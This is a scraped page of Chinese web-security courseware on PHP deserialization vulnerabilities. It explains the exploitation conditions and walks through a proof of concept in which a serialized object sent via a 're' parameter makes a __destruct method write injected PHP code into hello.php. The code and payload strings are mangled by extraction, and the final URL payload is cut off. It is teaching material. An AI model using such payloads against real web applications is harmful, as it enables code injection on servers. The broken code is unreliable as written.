反序列化漏洞利用Web安全应用与防护79课件讲解.pptx

反序列化漏洞利用Web安全应用与防护79课件讲解.pptx

反序列化漏洞利用Web安全应用与防护

反序列化漏洞利用条件(1)unserialize参数用户可控,即程序没有对反序列化的值进行有效的限制,导致反序列化的对象可被用户控制。(2)存在可被恶意利用的类,类中定义了可利用的__wakeup方法或者__destruct方法,且参数用户可控。其危害性主要取决于魔术函数做的操作。(3)对象可被反序列化,即在调用unserialize方法时,当前程序上下文中对应的类被定义。通过参数re传入的值,要实例化a,并且将$test的值进行改变。

反序列化漏洞示例通过参数re传入的值,要实例化a,并且将$test的值进行改变。因为__destruct中可以将$test的值,写入hello.php文件中,所以我们可以传入PHP代码到hello.php中。

漏洞利用首先我们要实例化对象:输出:?php classa{ var$test=?phpphpinfo();?; } $a=newa(); $class_ser=serialize($a); print_r($class_ser);?O:1:a:1:{s:4:test;s:18:?phpphpinfo();?;}

正常访问:20/index.php,输出源码和hello漏洞利用

将POC传入re参数中:20/index.php?re=O:1:a:1:{s:4:test;s:

文档评论(0)

1亿VIP精品文档

相关文档